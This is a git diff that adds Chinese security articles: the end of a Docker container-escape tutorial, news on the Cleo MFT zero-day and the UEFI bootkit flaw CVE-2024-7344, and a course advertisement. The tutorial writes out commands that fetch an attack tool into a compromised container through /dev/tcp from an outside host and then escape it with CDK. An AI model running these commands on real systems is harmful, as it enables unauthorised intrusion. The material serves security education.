+![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhKWKvtKjSdxENXPkS8yYOqx13woxbPXCw0rkxAsA5Ot8A2PEF2PRpLA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhSJ94HbmQ9LU7Jks20Jt6nRqibzSeWdpzWkrZiatnuw7icpFmDrswbnibsA/640?wx_fmt=png&from=appmsg "") + + + +d.攻击者反弹shell后,在受害者容器内下载CDK项目 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uh7jZT9x6vibvUMfr1paiaS6EcrFQicSaqico5J4dBxjfpyFY7Cmv7UiarUgQ/640?wx_fmt=png&from=appmsg "") + + + + + +e.后续利用,搜寻教程和资料说是可以借助自动化项目CDK进行容器逃逸。但是,不知道哪里出了问题,该漏洞我未能复现成功,猜测是各大云厂商做了安全优化,一路上各种报错,如果哪位大佬知道其中的缘由,还望告知! + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhZqzicEW9v3meMwah3034QuFTk3PwYpwZYMmzHdFlzytQvHY9A8OemBQ/640?wx_fmt=png&from=appmsg "") + +### +### 自动化项目:CDK +### + +项目链接 +``` +https://github.com/cdk-team/CDK +``` +> CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。  + +#### +#### 下载/植入 +#### + +(1)在目标容器内直接wget或者curl + +(2)通过公网主机nc重定向 +``` + +``` +``` +A主机:nc -lvp 999 < cdk +B主机:cat < /dev/tcp/A主机IP/999 > cdk +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhvzrzLUiaUQnwyvcgPSl8OFxN8yA150Om6KcgVMzlcBPDEcunicJvIDXg/640?wx_fmt=png&from=appmsg "") + +  +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhVYBgVrR8WCxlia3ErV0UQqUL55FvLYu9NQAhYyPsFBzic2SqPdIMWu9A/640?wx_fmt=png&from=appmsg "") + + + + +#### 功能模块 + +> Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。 +> Exploit: 提供容器逃逸、持久化、横向移动等利用方式。 +> Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。 + + + +#### 使用测试 +#### + +以特权模式启动一个容器 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhkavibUt3Eicl1GNnwdYgBtMnQBicnAqYVGcY0E8q6WcPJgWggbGYENyPQ/640?wx_fmt=png&from=appmsg "") + + + +在容器中下载CDK + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhhBqH3lzIQhwkNzgl2WnYZ10gPHKOyDYGR28XdCJVoJsdPf4OveeQ5g/640?wx_fmt=png&from=appmsg "") + + +信息收集 +``` +./cdk eva +``` + + +发现特权模式 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uhmsl2Bjd0hfyH8oeEcWPUDrPo2aiaNohcKyhCRiaVG7PS1rtel9Lvottw/640?wx_fmt=png&from=appmsg "") + + +特权模式利用 +``` + ./cdk run mount-disk +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhBBDswJVOaJ77qzKqPcRLT9QkHYxhpgThn8v5TSgc1DYr7XKnSxwg4g/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uhxm3P8OhMNvmU7GicQ7t2o7N7TOoK5nUdZHD4E5nVrxsQl40h4Qefia7g/640?wx_fmt=png&from=appmsg "") + + +使用自动逃逸也是没问题的 +``` + ./cdk  auto-escape id +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uhcic0d9sbBLa8WYVgLyzbHpPS6s4LudbVxrVhejVzmibRq44Q86FwyUoA/640?wx_fmt=png&from=appmsg "") + + +Ps:该项目还是很强大的,经测试,特权模式、危险挂载均可以检查并利用,师傅们可自行测试。 + + +# 结尾 +# + +至此,Docker安全问题分析结束,下一篇开始,讨论容器编排工具k8s的安全问题 + + diff --git a/doc/【安全圈】新的 Cleo 零日 RCE 漏洞在数据盗窃攻击中被利用.md b/doc/【安全圈】新的 Cleo 零日 RCE 漏洞在数据盗窃攻击中被利用.md new file mode 100644 index 00000000..4deda491 --- /dev/null +++ b/doc/【安全圈】新的 Cleo 零日 RCE 漏洞在数据盗窃攻击中被利用.md @@ -0,0 +1,130 @@ +# 【安全圈】新的 Cleo 零日 RCE 漏洞在数据盗窃攻击中被利用 + 安全圈 2025-01-25 11:01 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +安全漏洞 + + +黑客正在积极利用 Cleo 托管文件传输软件中的零日漏洞来破坏企业网络并进行数据盗窃攻击。该漏洞存在于该公司的安全文件传输产品 Cleo LexiCom、VLTrader 和 Harmony 中,允许不受限制的文件上传和下载,从而导致远程代码执行。 + +Cleo MFT 漏洞影响版本 5.8.0.21 及更早版本,是对先前修复的漏洞 CVE-2024-50623 的绕过,Cleo 于 2024 年 10 月解决了该漏洞。但是,该修复并不无懈可击,它还允许威胁者绕过它并继续攻击在攻击中利用。 + +Cleo 表示,其软件被全球 4000 家公司使用,包括 Target、沃尔玛、Lowes、CVS、Home Depot、FedEx、Kroger、Wayfair、Dollar General、Victrola 和 Duraflame。 + +这些攻击让人想起之前利用托管文件传输产品中的零日漏洞进行的 Clop 数据盗窃攻击,包括 2023 年大规模利用 MOVEit Transfer、使用 GoAnywhere MFT 零日漏洞的攻击以及 2020 年 12 月针对 MOVEit Transfer 的零日漏洞攻击。 + +然而,网络安全专家认为,这些 Cleo 数据盗窃攻击与新的 Termite 勒索软件团伙有关,该团伙最近入侵了全球许多公司使用的供应链软件提供商 Blue Yonder。 + +**野外攻击** + +Huntress 安全研究人员首先发现了对 Cleo MFT 软件的主动利用,他们还在一篇新文章中发布了概念验证 ( PoC ) 漏洞,提醒用户应采取紧急行动。 + +Huntress 解释说:" 这个漏洞正在被广泛利用,运行 5.8.0.21 的完全修补的系统仍然可以被利用。我们强烈建议您将任何暴露于互联网的 Cleo 系统移至防火墙后面,直到发布新补丁为止。" + +CVE-2024-50623 的活跃利用证据始于 2024 年 12 月 3 日,12 月 8 日观察到的攻击量显著上升。尽管归属尚不清楚,但这些攻击与以下 IP 地址相关:加拿大、荷兰、立陶宛和摩尔多瓦。 + +**·**176.123.5.126 - AS 200019 ( AlexHost SRL ) - 摩尔多瓦 + +**·**5.149.249.226 - AS 59711 ( HZ Hosting Ltd ) - 荷兰 + +**·**185.181.230.103 - AS 60602 ( Inovare-Prim SRL ) - 摩尔多瓦 + +**·**209.127.12.38 - AS 55286 ( SERVER-MANIA / B2 Net Solutions Inc ) - 加拿大 + +**·**181.214.147.164 - AS 15440 ( UAB Baltnetos komunikacijos ) - 立陶宛 + +**·**192.119.99.42 - AS 54290 ( HOSTWINDS LLC ) - 美国 + +这些攻击利用 Cleo 漏洞将名为 "healthchecktemplate.txt" 或 "healthcheck.txt" 的文件写入目标端点的 "autorun" 目录,这些文件由 Cleo 软件自动处理。 + +发生这种情况时,这些文件会调用内置导入功能来加载其他有效负载,例如包含 XML 配置("main.xml")的 ZIP 文件,其中包含将执行的 PowerShell 命令。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/aBHpjnrGylgfD8qIW9YMJCTPkQt77totSJOmoYVbcwA5ibWWkGJVSY9nx4PSIAXuhwWNrdxGU1jvbaeZFQB1vYw/640?wx_fmt=jpeg&from=appmsg "") + +利用在易受攻击的设备上执行 PowerShell 命令 + +PowerShell 命令与远程 IP 地址建立回调连接、下载额外的 JAR 有效负载并擦除恶意文件以阻碍取证调查。Huntress 表示,在后利用阶段,攻击者使用 "nltest.exe" 枚举 Active Directory 域,部署 Webshell 以在受感染的系统上进行持久远程访问,并使用 TCP 通道最终窃取数据。 + +完成对系统的攻击后,威胁者会执行 PowerShell 命令来删除攻击中的文件,例如 "C:LexiComcleo.1142"。Huntress 的遥测数据表明,这些攻击已经影响了至少 10 个使用 Cleo 软件产品的企业,其中一些企业从事消费品、食品行业、卡车运输和航运业务。 + +Huntress 指出,还有更多潜在受害者超出了其可见范围,Shodan 互联网扫描返回了 390 个 Cleo 软件产品结果,绝大多数(298 个)易受攻击的服务器位于美国。 + +Macnica 的威胁研究员表示,他的扫描结果为 Harmony 返回 379 个结果,为 VLTrader 返回 124 个结果,为 LexiCom 返回 240 个结果。 + +**需要采取行动** + +鉴于 CVE-2024-50623 的活跃利用以及当前补丁(版本 5.8.0.21)的无效性,用户必须立即采取措施来降低妥协风险。Huntress 建议将暴露于互联网的系统移至防火墙后面并限制对 Cleo 系统的外部访问。 + +公司可以通过在目录 "C:LexiCom"、"C:VLTrader" 和 "C:Harmony" 中查找可疑的 TXT 和 XML 文件来检查其 Cleo 服务器是否受到损害,并检查 PowerShell 命令执行的日志。 + +恶意 XML 文件将在 "hosts" 文件夹中找到,并包含 bash(在 Linux 上)或 PowerShell(在 Windows 上)命令。Cleo 发布了适用于 Linux 和 Windows 的脚本,可以帮助查找这些恶意 XML 文件。 + +最后,Huntress 建议删除 Harmony/VLTrader/Lexicom 下的所有 "Cleo####.jar" 文件(例如 cleo.5264.jar 或 cleo.6597.jar),因为它们可能是在利用漏洞期间上传的。另外,建议按照以下步骤关闭自动运行功能: + +1. 打开 Cleo 应用程序(LexiCom、VLTrader 或 Harmony) + +2. 导航至:配置>选项>其他窗格 + +3. 清除标记为 " 自动运行目录 " 的字段 + +4. 保存更改 + +Huntress 表示,Cleo 预计针对此漏洞的新安全更新将晚些时候发布。此外,有媒体向 Cleo 询问了有关该漏洞的其他问题,并被告知安全更新 " 正在开发中 "。 + + +  END   + + +阅读推荐 + + +[【安全圈】斯巴鲁汽车漏洞让黑客利用 Starlink 远程控制数百万辆汽车](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067590&idx=1&sn=32ea96086da2a1f7d7b7c25530ca8d55&scene=21#wechat_redirect) + + + +[【安全圈】GhostGPT – 黑客用来生成恶意软件和漏洞的新型 AI 黑帽工具](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067590&idx=2&sn=0963e1001cd7415a1987cb9c33807d8c&scene=21#wechat_redirect) + + + +[【安全圈】思科曝9.9分关键权限提升漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067590&idx=3&sn=7379d9127186d37af92f08f7a9ced06e&scene=21#wechat_redirect) + + + +[【安全圈】Chrome用户面临供应链攻击威胁,数百万人或受影响](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067590&idx=4&sn=ab568c073e0bfe554ca07ca03503f2da&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握!** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧!** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/【安全圈】新的 UEFI 安全启动漏洞使系统暴露于 bootkit.md b/doc/【安全圈】新的 UEFI 安全启动漏洞使系统暴露于 bootkit.md new file mode 100644 index 00000000..d29377f6 --- /dev/null +++ b/doc/【安全圈】新的 UEFI 安全启动漏洞使系统暴露于 bootkit.md @@ -0,0 +1,112 @@ +# 【安全圈】新的 UEFI 安全启动漏洞使系统暴露于 bootkit + 安全圈 2025-01-25 11:01 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +安全漏洞 + + +即使安全启动保护处于活动状态,也可能会利用一个新的 UEFI 安全启动绕过漏洞(编号为 CVE-2024-7344)影响 Microsoft 签名的应用程序来部署 bootkit,多个第三方软件开发商的多个实时系统恢复工具中存在易受攻击的 UEFI 应用程序。 + +Bootkit 是一种难以检测的严重安全威胁,因为它们在操作系统加载之前采取行动,并且在操作系统重新安装后仍然存在。 + +**根本问题** + +该问题源于使用自定义 PE 加载程序的应用程序,该加载程序允许加载任何 UEFI 二进制文件,即使它们未签名。具体来说,易受攻击的 UEFI 应用程序不依赖于 "LoadImage" 和 "StartImage" 等可信服务来根据信任数据库 ( db ) 和吊销数据库 ( dbx ) 验证二进制文件。 + +在这种情况下,"reloader.efi" 手动解密 "cloak.dat" 中的二进制文件并将其加载到内存中,其中包含基本的加密 XOR PE 映像。攻击者可以通过使用易受攻击的 "reloader.efi" 替换应用程序在 EFI 分区上的默认操作系统引导加载程序,并在其名义路径上植入恶意 "cloak.dat" 文件来利用此不安全的过程。 + +系统启动时,自定义加载程序将解密并执行恶意二进制文件,而无需安全启动验证。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/aBHpjnrGylgfD8qIW9YMJCTPkQt77tot5r0tDTDJIVhVPickzlF4BMRKwp7fBvruibSRnCoMF1L0Bewld7sB7Q2A/640?wx_fmt=jpeg&from=appmsg "") + +UEFI 安全启动流程 + +**影响范围** + +该漏洞影响旨在协助系统恢复、磁盘维护或备份的 UEFI 应用程序,而不是通用 UEFI 应用程序。ESET 的报告将以下产品和版本列为易受攻击的产品和版本: + +**·**Howyar SysReturn 10.2.023_20240919 之前版本 + +**·**Greenware GreenGuard 10.2.023-20240927 之前版本 + +**·**Radix SmartRecovery 11.2.023-20240927 之前版本 + +**·**三丰 EZ-back 系统 10.3.024-20241127 之前版本 + +**·**WASAY eRecoveryRX 8.4.022-20241127 之前版本 + +**·**CES NeoImpact 10.1.024-20241127 之前版本 + +**·**SignalComputer HDD King 10.3.021-20241127 之前版本 + +应该注意的是,即使目标计算机上不存在上述应用程序,攻击者也可以利用 CVE-2024-7344。黑客可以通过仅部署易受攻击的 " 重新加载器 " 来执行攻击。 + +来自这些应用程序的 efi' 二进制文件。但是,使用上述应用程序和受影响版本的用户应尽快迁移到较新的版本,以消除攻击面。ESET 发布了一个视频,演示如何在启用了安全启动的系统上利用该漏洞。 + +**修复和缓解措施** + +Microsoft 已发布 CVE-2024-7344 补丁 ESET 于 2024 年 7 月 8 日发现该漏洞,并将其报告给 CERT 协调中心 ( CERT/CC ) ,以便协调向受影响方披露。 + +受影响的供应商修复了其产品中的问题,微软于 1 月 14 日补丁星期二更新撤销了证书。在接下来的几个月中,ESET 与受影响的供应商合作评估建议的补丁并消除安全问题。 + +最终,微软于 2025 年 1 月 14 日撤销了易受攻击的 UEFI 应用程序的证书,这应该会阻止任何执行其二进制文件的尝试。此缓解措施会自动应用于安装了最新 Windows 更新的用户。 + +ESET 还共享 PowerShell 命令,关键系统的管理员可以使用这些命令手动检查撤销是否已成功应用。 + + +  END   + + +阅读推荐 + + +[【安全圈】斯巴鲁汽车漏洞让黑客利用 Starlink 远程控制数百万辆汽车](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067590&idx=1&sn=32ea96086da2a1f7d7b7c25530ca8d55&scene=21#wechat_redirect) + + + +[【安全圈】GhostGPT – 黑客用来生成恶意软件和漏洞的新型 AI 黑帽工具](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067590&idx=2&sn=0963e1001cd7415a1987cb9c33807d8c&scene=21#wechat_redirect) + + + +[【安全圈】思科曝9.9分关键权限提升漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067590&idx=3&sn=7379d9127186d37af92f08f7a9ced06e&scene=21#wechat_redirect) + + + +[【安全圈】Chrome用户面临供应链攻击威胁,数百万人或受影响](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067590&idx=4&sn=ab568c073e0bfe554ca07ca03503f2da&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握!** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧!** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/别错过!“系统0day安全”课程,带你精通漏洞挖掘技巧.md b/doc/别错过!“系统0day安全”课程,带你精通漏洞挖掘技巧.md new file mode 100644 index 00000000..4da576e6 --- /dev/null +++ b/doc/别错过!“系统0day安全”课程,带你精通漏洞挖掘技巧.md @@ -0,0 +1,1294 @@ +# 别错过!“系统0day安全”课程,带你精通漏洞挖掘技巧 +看雪课程 看雪学苑 2025-01-25 09:59 + +数字化时代,系统漏洞如同隐形的威胁,潜伏在企业网络的每个角落。0day漏洞的发现与利用,已成为黑客攻击的主要手段,给企业安全带来巨大的威胁和挑战。 + + +我们特别推出了 +**“系统0day安全”系列课程,**本系列课程将深入挖掘企业级网络设备、IOT设备及Windows平台的固件漏洞,培养您掌握二进制漏洞攻防的核心技能,助您在网络安全领域中游刃有余,有效防范未知威胁。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibAGMYaTFey7kLE8s8J8RibcfYSx3ZMF82KOCzKxWkqE9SBX5ibmicLUT3g/640?wx_fmt=png&from=appmsg "") + +**·系统0day安全-系列课程·** + +![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UibM134tIsO1j5yqHyNhh9arj090oAL7zGhRJRq6cFqFOlDZMleLl4pw/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibicvVumEAtfUlgP9LlbuWO6trfpetV4lzTOM81XibzznNaa4Caah83iaDg/640?wx_fmt=jpeg&from=appmsg "") + +**¥21000** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibYia5ic8AdIpaKFicNzfdRBia3KN3bymwTEaETUVn2RXHLvyg8jJsmxnIug/640?wx_fmt=jpeg&from=appmsg "") + +**¥15000** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibAics6eonjwIicuYwpmI6nmGsYQSrT0tPVTicwHYpx5iaJj6LkhrgHx02LA/640?wx_fmt=jpeg&from=appmsg "") + +**¥15000** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibugdVXf4EBJNf0tMqDicf1uPSfRKicTAaeV1GYXV8AWgibeXZ3aIF6wKbQ/640?wx_fmt=jpeg&from=appmsg "") + +**¥15000** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibCoSQvujrcGQweKZGOPJYaBe1iaLTta2ND20KE9UfXiaEIYZXbXJDF7yw/640?wx_fmt=gif&from=appmsg "") + + +**一、系统0day安全-企业级网络设备固件漏洞挖掘(第7期)** + + +近些年来不论是HVV行动还是各种红蓝对抗中,边界设备或者企业级网络设备被当作是进入内网的最快目标,因此对于这些类型的设备安全问题开始越来越被广泛关注,掌握此类设备的漏洞挖掘方法和渗透思路能够能提升你的实战技能并让你你在实战对抗中更加游刃有余。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibicvVumEAtfUlgP9LlbuWO6trfpetV4lzTOM81XibzznNaa4Caah83iaDg/640?wx_fmt=jpeg&from=appmsg "") + +限时优惠:¥21000 + +深入探索IoT/网络设备漏洞挖掘的奥秘 + + +**·** + + +**课程简介** + + +本课程专注于IoT和企业级网络设备固件漏洞分析与挖掘。由 +资深安全专家H4lo讲师授课,课程结合丰富的实战经验和深入的技术分析,旨在全面提升学员在设备固件漏洞挖掘方面的能力。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibW3jLHicZLesaWahTIe1TQ4Pc9VKWNsVu4uPBJ8rFCvjZtK4qwl9WLCA/640?wx_fmt=png&from=appmsg "") + + +课程内容涵盖了**固件安全基础、固件/镜像获取与处理、固件加密/解密、固件仿真与调试、漏洞挖掘与分析**等多个方面。通过对**各类嵌入式设备、网络设备、边界安全设备**等的**漏洞挖掘基础、方法、技巧和思路**的全方位介绍,课程帮助学员掌握企业级网络设备的逆向分析方法,提升个人竞争力。 + + + +**·** + + +**讲师介绍:H4lo(ID)** + + +专注IoT/网络设备漏洞方向挖掘,发现多个知名厂商的严重设备固件安全漏洞,涵盖   Cisco、Fortinet、Netgear、Draytek、Sonicwall 等品牌,在天网杯、强网拟态、补天杯等漏洞破解赛中取得优异成绩,Geekpwn   2020/2021名人堂。 + + + +**·** + + +**课程目录(上下滑动查看)** + + +**第一章 固件安全基础** + +本章节介绍固件安全的基础概念以及针对固件漏洞挖掘需准备的一些基本环境的安装和使用。 + + +1.1固件安全概述 + +介绍固件安全的内容以及固件安全研究的范畴 + + +1.2固件/镜像定义和介绍 + +固件和镜像的基本概念介绍,以及运行的环境、原理等做一个综述。如针对固件中,linux内核操作系统的固件和RTOS操作系统的固件分别做一些简单的介绍(从内核、操作系统、逆向分析角度) + +针对镜像中,分别对ISO格式、ova/ovf格式的镜像做一下简单的介绍。 + + +1.3软件环境准备 + +本机准备的一些软件环境,以及外部硬件设备、软硬件工具等准备。 + +1.3.1软件环境安装 + +binwalk、gdb、交叉编译buildroot等软件环境的安装。 + +1.3.2交叉编译介绍和编译 + +交叉编译中uclibc、uclibc-ng等的介绍 + + +1.4硬件环境准备 + +1.4.1基本硬件工具使用 + +电烙铁、热风枪、编程器等工具的准备和使用。 + +1.4.2硬件调试口使用 + +UART、JTAG、SWD调试口的判断和使用 + + +**第二章 固件/镜像获取与处理** + +本章节介绍漏洞研究环境或者固件/镜像的获取以及处理方法。 + + +2.1固件/镜像环境获取 + +介绍如何获取漏洞挖掘环境,以及一些技巧 + +包括官网下载、第三方市场购买、云市场下载、抓取升级包、硬件提取等方法 + +2.1.1固件/镜像获取的几种方法 + +介绍常规的思路获取环境的几种方法 + +案例:官网下载、第三方市场购买、云市场下载、抓取升级包 + +2.1.2硬件方式提取固件 + +介绍如何从硬件中提取固件和镜像 + +案例1:sop8、tsop8芯片的固件提取 + +案例2:emmc、sop48芯片的固件提取 + +案例3:UART调试口获取固件 + + +2.2固件/镜像的解压 + +介绍如何使用binwalk进行固件解压以及从镜像中如何提取出待分析的二进制、脚本文件 + +2.2.1常规方式固件提取 + +介绍binwalk -e一把梭固件提取的方法 + +案例1:常规的squashfs文件系统固件 + +2.2.2镜像磁盘挂载文件提取 + +案例2:ext3/ext4镜像挂载磁盘提取固件 + +2.2.3其他案例 + +案例3:vxwork固件程序提取 + + +2.3固件/镜像分析 + +介绍拿到解压处理的环境之后,如何进行分析以及一些相关技巧 + +2.3.1镜像常见架构分析 + +如底层用的是什么操作系统(freebsd/centos等)、Bios、内核启动方式,主程序服务启动的方式等 + +2.3.2固件信息分析 + +介绍分析二进制和脚本代码的整体分析思路和分析步骤 + +全局代码分析、敏感功能点审计 + +2.3.3固件修改和重打包 + +介绍如何通过修改固件的方式,获得固件的底层shell权限等。包括不同类型的固件、镜像如何重打包 + +案例1:乔安摄像头固件后门植入 + +案例2:fortigate固件后门植入 + + +**第三章 固件加密/解密与通信加解密** + +3.1常见固件加密方式 + +介绍常见的几种固件加密手段和方法 + +3.1.1简单混淆加密 + +对固件头、固件签名等进行魔改 + +3.1.2版本迭代加密 + +Dlink设备的版本迭代加密方式,即由非加密转变到加密过程的步骤解密。 + +3.1.3密钥加密 + +对称加密和非对称加密的固件加密方式 + +案例1:天融信topacm oem方式的aes加密 + + +3.2固件解密思路 + +根据上述介绍常见固件的解密思路提供具体的实战案例 + +ruijie固件解密 + +topsec固件解密 + +nsfoucs固件解密 + + +**第四章 固件仿真与调试** + +4.1 固件仿真常见方法 + +qemu在固件模拟中的使用方法 + + +4.2 Qemu工具调试方法 + +使用qemu进行固件模拟或者程序模拟的调试方法以及相关的调试技巧 + + +4.3 环境调试 + +介绍环境调试的相关方法 + +4.3.1 软件镜像环境调试 + +案例1:模拟initrd镜像解密,luks密钥解密 + +案例2:通过gdb调试vmware虚拟机内核拿shell + +4.3.2 硬件环境调试 + +案例1:硬件设备调试进uboot获取shell + +案例2:通过硬件故障注入步骤进uboot + + +**第五章 固件漏洞挖掘与分析** + +5.1认证绕过漏洞 + +描述认证绕过漏洞的概念和基本原理 + +5.1.1认证机制介绍 + +网络设备中常见的几种认证方式 + +passwd认证 + +数据库认证 + +token + +saml认证 + +5.1.2认证绕过案例和复现思路 + +认证绕过的常见案例和复现思路 + + +5.2命令注入漏洞 + +描述命令注入漏洞的概念和基本原理 + +5.2.1命令注入相关概念 + +介绍命令注入原理和发生的位置 + +5.2.2命令注入案例和复现思路 + +命令注入的常见案例和复现思路 + +案例1:url直接命令注入 + +案例2:命令执行后门 + +案例3:物联网设备wifi密码配对命令注入 + + +5.3内存相关漏洞 + +描述内存漏洞的概念和基本原理 + +5.3.1栈溢出相关概念 + +介绍栈溢出的原理、x86和arm/mips架构栈溢出的区别 + +5.3.2栈溢出案例和复现思路 + +描述栈溢出漏洞的概念和基本原理和复现思路 + +案例1:栈溢出造成的认证绕过 + +案例2:栈溢出覆盖返回地址的利用 + +5.3.3堆溢出案例和复现思路 + +描述堆溢出漏洞的概念和基本原理和复现思路 + + +**第六章 物联网安全之NAS设备漏洞分析** + +6.1 Qnap Multimedia Console漏洞分析(CVE-2023-23364) + +qnap中Multimedia Console组件的未授权栈溢出漏洞 + +https://www.qnap.com/en/security-advisory/qsa-23-29 + +6.1.1漏洞分析 + +二进制逆向分析 + +6.1.2漏洞利用 + +rop + +6.1.3修复建议 + +对输入的长度进行限制 + + +**第七章 网络安全设备漏洞分析(VPN/防火墙等)** + +本章选取几个经典的VPN/防火墙设备的历史CVE漏洞进行分析,覆盖镜像解压、固件解析、程序分析和漏洞挖掘等步骤。 + + +7.1Fortigate防火墙漏洞分析(CVE-2022-42475) + +2022年堆溢出漏洞,https://www.fortiguard.com/psirt/FG-IR-22-398 + +7.1.1环境预处理及环境架构分析 + +固件后门植入获取调试shell + +7.1.2漏洞分析 + +IDA逆向代码分析 + +7.1.3漏洞利用 + +漏洞利用方法和rop + +7.1.4漏洞修复建议 + +修复建议 + + 